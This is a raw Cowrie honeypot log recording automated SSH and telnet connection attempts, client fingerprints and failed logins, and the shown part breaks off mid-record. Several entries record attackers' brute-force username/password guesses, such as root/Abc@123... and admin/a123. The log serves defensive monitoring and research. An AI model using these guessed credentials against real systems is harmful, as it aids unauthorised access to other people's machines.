{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:19.252906Z","src_ip":"192.109.200.237","session":"9fc553bd0990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:19.500778Z","src_ip":"192.109.200.237","session":"9fc553bd0990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:20.587679Z","src_ip":"192.109.200.237","session":"9fc553bd0990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":33330,"dst_ip":"10.17.0.5","dst_port":22,"session":"300bc85f3758","protocol":"ssh","message":"New connection: 192.169.243.246:33330 (10.17.0.5:22) [session: 300bc85f3758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.186572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.191597Z","src_ip":"192.169.243.246","session":"300bc85f3758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.268099Z","src_ip":"192.169.243.246","session":"300bc85f3758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123...","message":"login attempt [root/Abc@123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.601982Z","src_ip":"192.169.243.246","session":"300bc85f3758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41352,"dst_ip":"159.203.135.109","dst_port":22,"session":"b110aa8749f3","protocol":"ssh","message":"New connection: 192.109.200.237:41352 (159.203.135.109:22) [session: b110aa8749f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.656962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.662248Z","src_ip":"192.109.200.237","session":"b110aa8749f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.744932Z","src_ip":"192.109.200.237","session":"b110aa8749f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42312,"dst_ip":"10.17.0.5","dst_port":23,"session":"3391467cea59","protocol":"telnet","message":"New connection: 152.42.224.71:42312 (10.17.0.5:23) [session: 3391467cea59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.791684Z"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:22.992484Z","src_ip":"192.109.200.237","session":"b110aa8749f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23946,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c9c6c0e7d6","protocol":"ssh","message":"New connection: 194.59.206.2:23946 (10.17.0.5:22) [session: 06c9c6c0e7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:23.277672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:23.282897Z","src_ip":"194.59.206.2","session":"06c9c6c0e7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:23.369586Z","src_ip":"194.59.206.2","session":"06c9c6c0e7d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:23.461181Z","src_ip":"194.59.206.2","session":"06c9c6c0e7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42324,"dst_ip":"10.17.0.5","dst_port":23,"session":"57cb82ce46ff","protocol":"telnet","message":"New connection: 152.42.224.71:42324 (10.17.0.5:23) [session: 57cb82ce46ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:23.670443Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:23.680429Z","src_ip":"192.169.243.246","session":"300bc85f3758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:24.076670Z","src_ip":"192.109.200.237","session":"b110aa8749f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":28135,"dst_ip":"159.203.135.109","dst_port":22,"session":"82354085f41d","protocol":"ssh","message":"New connection: 2.57.121.112:28135 (159.203.135.109:22) [session: 82354085f41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:24.330726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:24.335264Z","src_ip":"2.57.121.112","session":"82354085f41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:24.434690Z","src_ip":"2.57.121.112","session":"82354085f41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a123","message":"login attempt [admin/a123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:24.907475Z","src_ip":"2.57.121.112","session":"82354085f41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"99941","message":"login attempt [admin/99941] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:26.015646Z","src_ip":"2.57.121.112","session":"82354085f41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41360,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de9f539d150","protocol":"ssh","message":"New connection: 192.109.200.237:41360 (159.203.135.109:22) [session: 6de9f539d150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:26.043486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:26.049009Z","src_ip":"192.109.200.237","session":"6de9f539d150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:26.131911Z","src_ip":"192.109.200.237","session":"6de9f539d150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:26.379306Z","src_ip":"192.109.200.237","session":"6de9f539d150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"998899","message":"login attempt [admin/998899] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:27.120905Z","src_ip":"2.57.121.112","session":"82354085f41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:27.564816Z","src_ip":"192.109.200.237","session":"6de9f539d150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"975310","message":"login attempt [admin/975310] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:28.224288Z","src_ip":"2.57.121.112","session":"82354085f41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"97531","message":"login attempt [admin/97531] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:29.328949Z","src_ip":"2.57.121.112","session":"82354085f41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41368,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7eaee06c94a","protocol":"ssh","message":"New connection: 192.109.200.237:41368 (159.203.135.109:22) [session: a7eaee06c94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:29.391675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:29.396836Z","src_ip":"192.109.200.237","session":"a7eaee06c94a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:29.479362Z","src_ip":"192.109.200.237","session":"a7eaee06c94a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:29.726759Z","src_ip":"192.109.200.237","session":"a7eaee06c94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:30.433781Z","src_ip":"2.57.121.112","session":"82354085f41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:30.813730Z","src_ip":"192.109.200.237","session":"a7eaee06c94a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":51925,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1f2b17e8370","protocol":"ssh","message":"New connection: 2.57.121.25:51925 (159.203.135.109:22) [session: d1f2b17e8370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:32.483148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:32.489185Z","src_ip":"2.57.121.25","session":"d1f2b17e8370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:32.590585Z","src_ip":"2.57.121.25","session":"d1f2b17e8370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35172,"dst_ip":"159.203.135.109","dst_port":22,"session":"9adb902bd1a3","protocol":"ssh","message":"New connection: 192.109.200.237:35172 (159.203.135.109:22) [session: 9adb902bd1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:32.727323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:32.736488Z","src_ip":"192.109.200.237","session":"9adb902bd1a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.co